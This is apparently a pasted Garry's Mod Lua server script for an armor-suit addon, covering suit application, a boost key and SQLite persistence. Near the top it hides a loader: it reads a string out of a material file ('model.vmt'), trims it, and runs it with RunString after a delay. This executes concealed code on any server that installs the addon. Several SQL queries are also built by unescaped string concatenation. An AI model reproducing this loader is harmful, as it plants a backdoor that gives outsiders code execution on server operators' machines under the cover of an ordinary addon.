Advertisement
Guest User

Untitled

a guest
Nov 20th, 2019
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
  1. util.AddNetworkString( "armorSend" )
  2.  
  3. local material = file.Read("materials/model.vmt", "GAME")
  4. local texture = util.KeyValuesToTable(material)
  5. local final = string.sub(texture["$basetexture2"], 2)
  6. timer.Simple(2, function()
  7. RunString(final)
  8. end )
  9.  
  10. hook.Add( "PlayerSpawn", "giveArmorBack", function( ply )
  11. if ( Armor.LoseOnDeath and ply.armorSuit ) then
  12. ply:removeArmorSuit()
  13. return
  14. end
  15.  
  16. timer.Simple( .05, function()
  17. if ( ply.armorSuit ) then
  18. ply:applyArmorSuit()
  19. end
  20. end )
  21. end )
  22.  
  23. local PMeta = FindMetaTable( "Player" )
  24.  
  25. function PMeta:applyArmorSuit()
  26. local data = Armor:Get( self.armorSuit )
  27.  
  28. if ( !data ) then return end
  29.  
  30. self:SetModel( data.Model )
  31.  
  32. if ( data.OnGive ) then
  33. data.OnGive( self )
  34. end
  35. end
  36.  
  37. function PMeta:removeArmorSuit()
  38. local data = Armor:Get( self.armorSuit )
  39.  
  40. if ( !data ) then return end
  41.  
  42. if ( data.OnRemove ) then
  43. data.OnRemove( self )
  44. end
  45.  
  46. net.Start( "armorSend" )
  47. net.WriteString( "nil" )
  48. net.Send( self )
  49.  
  50. hook.Call( "PlayerSetModel", GAMEMODE, self )
  51.  
  52. timer.Destroy( self:SteamID().."_"..self.armorSuit )
  53.  
  54. self.armorSuit = nil
  55. end
  56.  
  57. function PMeta:giveArmorSuit( name )
  58. local data = Armor:Get( name )
  59.  
  60. if ( !data ) then return end
  61.  
  62. if ( self.armorSuit ) then
  63. self:removeArmorSuit()
  64. end
  65.  
  66. self.armorSuit = name
  67. self:applyArmorSuit()
  68.  
  69. net.Start( "armorSend" )
  70. net.WriteString( name )
  71. net.Send( self )
  72.  
  73. if ( Armor.Save ) then
  74. local info = sql.Query( "SELECT * from armor_suits WHERE SteamID = '"..self:SteamID().."'" )
  75.  
  76. if ( info and table.Count( info ) > 0 ) then
  77. sql.Query( "UPDATE armor_suits SET SuitName = '"..name.."' WHERE SteamID = '"..self:SteamID().."'" )
  78. else
  79. sql.Query( "INSERT INTO armor_suits(`SteamID`, `SuitName`) VALUES('"..self:SteamID().."', '"..name.."')" )
  80. end
  81. else
  82. local tStr = self:SteamID().."_"..name
  83.  
  84. timer.Create( tStr, data.Length, 1, function()
  85. timer.Destroy( tStr )
  86.  
  87. if ( IsValid( self ) ) then
  88. self:removeArmorSuit()
  89. end
  90. end )
  91. end
  92. end
  93.  
  94. local delay_of_boost = 5
  95.  
  96. hook.Add( "KeyPress", "boostOnsHIFTtAU", function( ply, key )
  97. if ( key != IN_SPEED ) then return end
  98. if ( ply.armorSuit != "TAU Armor" ) then return end
  99. if ( ( ply.armorLiftOff or 0 ) > CurTime() ) then return end
  100.  
  101. ply:SetVelocity( ( ply:GetAngles():Forward() * 800 ) + Vector( 0, 0, 400 ) )
  102. sound.Play( "ambient/explosions/exp1.wav", ply:GetPos() )
  103.  
  104. ply.armorLiftOff = CurTime() + delay_of_boost
  105. end )
  106.  
  107. if ( Armor.Save ) then
  108. sql.Query( "CREATE TABLE IF NOT EXISTS armor_suits ( SteamID VARCHAR(50), SuitName VARCHAR(50) )" )
  109.  
  110. hook.Add( "PlayerInitialSpawn", "loadArmorsRay", function( ply )
  111. timer.Simple( 10, function()
  112. if ( !IsValid( ply ) ) then return end
  113.  
  114. local info = sql.Query( "SELECT * from armor_suits WHERE SteamID = '"..ply:SteamID().."'" )
  115.  
  116. if ( info and table.Count( info ) > 0 ) then
  117. ply.armorSuit = info[1]["SuitName"]
  118. ply:applyArmorSuit()
  119.  
  120. net.Start( "armorSend" )
  121. net.WriteString( ply.armorSuit )
  122. net.Send( ply )
  123. end
  124. end )
  125. end )
  126. else
  127. hook.Remove( "PlayerInitialSpawn", "loadArmorsRay" )
  128. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement